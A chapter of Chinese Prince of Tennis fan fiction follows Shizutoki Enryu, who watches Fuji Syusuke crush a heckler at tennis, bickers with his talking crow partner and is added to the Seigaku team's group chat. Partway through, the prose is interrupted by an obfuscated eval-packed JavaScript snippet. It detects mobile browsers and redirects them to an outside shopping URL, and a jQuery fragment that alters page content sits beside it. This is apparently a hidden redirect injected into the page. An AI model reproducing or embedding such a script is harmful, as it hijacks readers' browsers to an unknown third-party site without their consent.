“那个红头发的菊丸,去年双打全靠搭档撑着吧?我听说他那个搭档叫什么来着……大石?没有大石给他擦屁股,他连半场都守不住。”
那家伙笑嘻嘻出言挑衅。
抓住他手腕的力瞬间松了,不二周助的眼睛完全睁开,安静又专注的看着那个板寸头,然后微微歪了歪头。
“你刚才……说了什么?关于英二的?”
静时远流的视线顺着他的手往下发现,他的手指已经握住了球拍的握把。
哎呀,看来某个人要遭殃了,静时远流眯着眼睛,漫不经心的想,冷冷锁定在刚才说话的那个人身上。
但不二好像有自己的处理方法呢,于情于理,他是菊丸的同伴,对同伴被羞辱的情况,理应更有立场生气与反击。
而且……他实在很好奇,像不二这样的人,到底会怎么做?
反正他们逃不了今天,他有时间慢慢玩。
不二周助没有接话,他把网球袋放长椅旁边,拿起球拍。
“难得遇到了,不如打场指导赛吧,我正好想让远流君看看青学的网球呢。”
同伴刚想跟板寸头交换眼神,转头发现角落早就空空如也,他僵住,气势一下子弱了下去,还是强撑着推开铁丝网的门走进球场。
“哼,输了可别找借口。”
目视他们走进球场,静时远流拐了个弯,笑眯眯堵住藏在墙角后的板寸头,他仿佛见鬼般立马就要跑。
静时远流拉住他衣领,轻声说:“跑什么呢?你的同伴在跟不二打比赛,跟我站观众席吧,嗯?”
他一脸敢怒不敢言地跟着静时远流走了回去。
不二走上球场站在逆光的方向,夕阳从他的背后打过来,脸上的表情拢在阴影里,看不确切。
“一举胜负,我发球。”
球从那人耳边呼啸而过,他甚至没有做出挥拍的动作,球已落在身后的底线上。
不二周助站在发球线后面,脸上挂着礼貌微笑,眼神却丝毫没有笑意。
对方用尽全身力气挥出了重扣,被不二轻轻一带,贴着网面,以几乎不可见的角度划过,落在那人前左侧的死角。
周围没有人在,静时远流也不是很想维持他的笑容了,本来的好心情,就这样被这几个蠢货给毁了,他甚至不曾想开口说话,也没有四处去看什么,只是毫无目的地,落在了对面那个正颤抖着不断出冷汗的家伙身上。
正当他沉浸在自己的思绪,眼睛也在同步观察着球场上的情况的时候,身后突然传来了。
“青树君,你在说什么喵?”
他转过头,伸出手准确的落在菊丸英二的头顶,揉了揉头发。
菊丸抱着两瓶泉水和一罐葡萄味的芬达,看起来是刚刚回来,脸上还带着买水时的轻松表情。
“没有什么,我说不二君很厉害,把对面在球场上打得落花流水。”
菊丸的注意力瞬间被转移,举起手里的葡萄芬达晃了晃,得意地开口。
“这个口味的芬达超难买的,我运气超好,最后的被我抢到了,欸?不二已经打完啦?哇,对面那几个人脸色好难看,发生什么了?”
他顺着菊丸的目光看过去,那家伙的手开始发抖。板寸头也鸦雀无声,比赛以令人窒息的速度推进着。
不二的每个球总是落在对手移动的反方向,又或者落在差点能碰到,但永远碰不到的地方,静时远流没忍住鼓起掌来。
随着球落地,对方已经呼吸大乱,球拍直接从指间滑落哐当掉在了地上,整场比赛没有拿到任何分数。
不二周助收起球拍,走到那人面前伸出手,凑近对方耳边说了什么。他很快松手退后,重新挂上温和的笑容,转身走回长椅。
好吧,不二发挥完,现在是该他算账的时候了。
静时远流嘴角勾起弧度,转头轻声让菊丸先去不二君那边等他。
“我很快回来,我的饮料要留给我哦。”
他走过去,不紧不慢地跟在他们身后,在他们即将走出球场门口时,示意他们看向那堵还在掉灰的墙壁。
他露出一个明显的近乎敷衍的歉意表情。
“真是不好意思,刚才砸墙的时候没有看到你。”
他没有故意压着笑容,相信任何一个智商正常的人,看到他的表情都不会相信他说的话……对面应该不会信吧?
哦,对面没信——不对?信了?!
嘴角的笑容有点僵,这是他没有预料到的展开,他、居然、信了?
还要继续欺负一个傻子吗。
为数不多的良心,此刻居然奇迹般的死而复苏起来。
静时远流保持着笑容,冷静的嚼了嚼空气,好了,现在良心被吃了。
他顿了顿,犹豫起来。算了。他怕他的智商也下降,还是不要计较了,颇为冷淡地开口。
“下次有问题,直接找我。别找青学的人麻烦。”
刚才菊丸从身后走过来喊青树的名字的那会,他差点没有反应过来是在喊他,看来还是不如自己的真名方便。
但如果用青树的名字行事就能加快进度的话,他倒是不介意这些麻烦,只不过麻烦仅限于他自己,分毫都不能影响到青树。
“乌漆麻黑,进度怎么样了?”静时远流心里默念搭档的名字。
“洒家看看,冒名顶替这事好像没办法加进度嘎……我们再换一个?”
“?你不早说。”
静时远流一脸幽幽。
乌漆麻黑也颇为心虚,“之前那什么,超市大减价……忘记看了。要不下次你试试洒家的名字?”
静时远流:“你名字好丢人。我不要。”
既然这个办法完全没用,也没必要继续了,在跟不二和菊丸临别之前,静时远流停下脚步回头对他们说。
“对了,请帮我告诉他们,我本名是静时远流。”
“静时青树是我在冰帝的弟弟,如果要告状,也得告我的名字,不是吗?再见,各位。”
虽然大概猜到了青树应该在冰帝,但能有更多渠道得知他的消息也是好的。这样想着,静时远流走上了回酒店的路。
回到房间,顺便把手机掏出来看了看在弹消息的群聊。有些意外的眨了眨眼。菊丸不记得之前把他拉进群里了吗?
正当他专注屏幕上的消息便听到旁边正在敲窗户的声音,他扭头一看,乌漆麻黑的大翅膀搁着窗前愣个敲呢。
他颇为记仇,眯起眼睛做出口型说:“你求我呀?”
哎,现在的小乌鸦真是太没有素质了,怎么能骂人呢?他都不用听,光看它那个神态和猛然加大的敲击声,就知道它骂得很脏。
他开了窗,它进来先是在他的水杯旁边喝了口水,又飞到镜子跟前装模作样的拍了拍自己的翅膀,假装在用力梳理羽毛,实则眼睛不时乱转用余光瞅他好几眼。
最后才站到他面前,狐疑地问:“还活着啊?那个戴眼镜的部长没有打死你?”
他勾起嘴角,轻声凑近问道,“你很失望吗?”
他无辜叹气还摆出欲言又止的表情,凝视着试图用眼神去感化它。
“要是没人陪你玩,接你的话,会很遗憾的吧,对不对,乌漆麻黑?”
“洒家跟你这个组合真的有存在的必要么,洒家活了大半个世纪都没有遇到你这样的饲主……”
“要不是洒家每天都能看到日历,都要怀疑自己是不是误入什么相声现场了!”
他淡定说,“好歹是传下去了。顺便,在下只是在正常说话。”
乌漆麻黑刚说没一半就被手机吸引力注意力:“被歹人传下去了!你手机亮亮的是什么,让洒家看看让洒家看看。”
他低头查看手机里源源不断弹出来的消息提醒,群聊里菊丸已经发了连串消息来讲述今天的遭遇,中途夹杂着桃城的疑惑。
不二周助紧接着在群聊里复述了他在分别时告诉他们的消息。
乾贞治发来一段信息,里面很多超出了网上搜的内容范围,显然他有自己的独家内部通道:
“静时青树,冰帝学园高等部一年A组学生,网球部正选。■■■■■(外貌部分)。幼年流落深山,与一条巨蟒生活。独自在洞穴中生存,以生肉为食,习得野兽般的伏击本能、超常感官与静态耐心。徒手攀爬能力极强,可在垂直岩壁快速移动。”
看完乾君发的资料,静时远流决定暂时熄屏把手机翻过来冷静。每个世界青树的身世,件件不一样,次次玩出花,他已经习惯无视背景解说了。
但外貌依旧给他单方面打码是闹哪样,非要他装亲戚一个个角色去试吗?
他幽幽地转头看乌漆麻黑。
乌漆麻黑打了个哈哈就心虚地飞走照镜子整理自己的仪容仪表去了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17800518|210615||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
「大石」:乾,这些信息的来源可靠吗?
「乾贞治」:以上信息来自多个公开数据源的交叉比对,可靠性约为百分之八十七。
他试探性地发了条消息出去。
「RAVEN」:……嗨,各位晚上好??疑惑.JPG
「桃城武」:等等等等群聊什么时候拉的远流!!!不对他不是青学的学生吧为什么会在青学的群里!!!
「乾贞治」:群聊成员的添加记录显示,菊丸在今天下午邀请了‘RAVEN’入群。邀请时间为我们讨论远流真名的大约一小时前。
「RAVEN」:哎呀,我也不知道呢。
「大石」:……远流君,欢迎加入群聊。刚才我们讨论的内容,你都看到了吗。关于令弟的事,如果有什么不方便公开的信息,我们可以私聊。
「不二周助」:原来如此,远流君真是沉得住气。既然在群里,明天的冰帝之行就可以在群里直接联系了。
菊丸像是终于反应过来,发出了最后那条简短的、可怜兮兮的、带着颜文字的消息。
「菊丸英二喵」:手误!是手误啦远流君!!!
后面跟了一个疯狂鞠躬的猫猫表情,和三个感叹号。
「RAVEN」:这个嘛……
「RAVEN」:既然冒泡了就不要踹我出去了,拜托~?这样吧,我有办法。
他眯起眼睛,预想到接下来大家可能的反应,笑意就有点难以压下。他敢保证,他的主意一定是很天才的。
他把名字从「RAVEN」改成了「就当我是青学的」。
「菊丸英二喵」:不会踹的!!我保证!!对吧大石!
「大石」:……这个群名片不具备任何官方效力。但明天注意安全。
「不二周助」:呵呵,大石说得对。明天冰帝那边还等着远流君去踹门呢。晚安,各位。晚安,远流君,现在应该叫「就当我是青学的」君了。
「就当我是青学的」:晚安各位,晚安,——「确实是青学的」不二君。
「菊丸英二喵」:晚安远流君!明天七点不许迟到喵!晚安不二!晚安大家!
在所有人都说完晚安之后,手冢国光的头像毫无预兆地亮了起来。
「手冢国光」:明天下午训练。别忘了。
手冢国光在传闻里是个比较沉默的人,既然他这么说,虽然只有一句话,那么静时远流便当成他是默认他在群聊里的存在了。
往回划到乾君发的资料,静时远流顺手打了一句「青树是个挺可爱的孩子呢。」发了出去。
“洒家还以为你这回找到青树就火急火燎的要赶过去确认情况呢,现在这么淡定。”
乌漆麻黑边嚼着烧烤,边理直气壮的在他面前点评。
……哪里来的烧烤?
他刚要放心地把头转回去,又猛地转头,脸上的笑容微微僵硬,他确信他今天没有吃没煮熟的蘑菇,应该不至于有幻觉。
可是他眼前的这个烧烤是怎么回事?刚刚是不是错过什么了?
“明知道穿的世界越多,你的记忆模糊越严重,那你还这么执着要去挑战每个学校的部长?不是我说,契约里只说走个流程,你随便打打也能交差啊,洒家以前看你应付得挺好的,怎么最近几次越来越较真了?”
刚要开口,它就扇扇翅膀打断他。
他微笑不语,乌漆麻黑张了张嘴,用翅膀挠挠脑袋,最后还是放弃询问了。
他伸手揉揉它的脑袋,低声说:
“我可没有瞒你的理由。以前的事很多我都记不得了。而且你不应该是知道最多的家伙吗?”
“洒家知道你要说什么!每次你这个表情都准没好事,让洒家来让洒家来。”
它整理羽毛,又清清嗓子模拟他平常的微妙语气,“啊……因为很有趣嘛。大家的表情和反应什么的。”
他眨眨眼,带着几分好笑,“模仿得不错,不过,距离我们完全把青树找回来的进度越来越近了。等到彻底复活他,完成你我之间的契约,我的灵魂就要被交换走啦。”
躺到床上翻滚又侧着脑袋,他看向旁边的窗户,乌云掩盖了一半的月亮。
“在此之前,就让这个任性的哥哥好好活一回吧。”
“而且……关于青树,乌漆麻黑,你是不是有什么瞒着我没说啊?”他眯起眼睛审视着它。